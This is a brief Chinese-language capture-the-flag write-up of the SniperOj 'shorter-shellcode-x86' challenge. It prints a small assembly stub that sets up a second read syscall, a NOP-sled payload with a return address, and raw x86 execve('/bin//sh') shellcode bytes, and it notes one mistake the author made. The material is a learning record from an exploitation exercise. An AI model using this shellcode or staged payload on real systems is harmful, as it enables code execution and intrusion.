SniperOj-shorter-shellcode-x86
shell-storm 这里可以有一些可以用的shellcode,不过自己写才是biner的骄傲 /奋斗
0x00 不会写shellcode(和一条咸鱼有什么区别/哭)
0x01 这题目前有俩种解法
1. shellcode直接获取shell,这种解法需要较强的shellcode编写能力,因为只能输入27字节,要求shellcode1足够短
2. 先自己构造个read然后扩大读取字节,再获取shell,这样shellcode长度就不是问题了
0x02 我选择的是第二种,完全是因为自己不会写shellcode。/气哭
1.先构造read
# read_asm shellcode = asm("mov al, 0x3") shellcode += asm("add cl, 0xc") shellcode += asm("mov dl, 0xff") shellcode += asm("int 0x80") #read_more
padding = '\x90' * (13-len(shellcode)) payload = shellcode + padding + p32(buf_Addr) Io.send(payload)
2.再获取shell
# system_asm shellcode1 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f" shellcode1 += "\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" #get_shell payload1 = '\x90' * 16 + shellcode1 Io.send(payload1)
3.我犯的一个错误
#get_shell payload1 = '\x90' * 13 + p32(buf_Addr + 13 + 4) + shellcode1 Io.send(payload1)
因为之前构造的read已经把EIP指向了栈,所以第二次不需要再覆盖函数返回地址,就可以直接指向shellcode。感谢re0x6d大佬耐心指导,
Always believe that good things will come.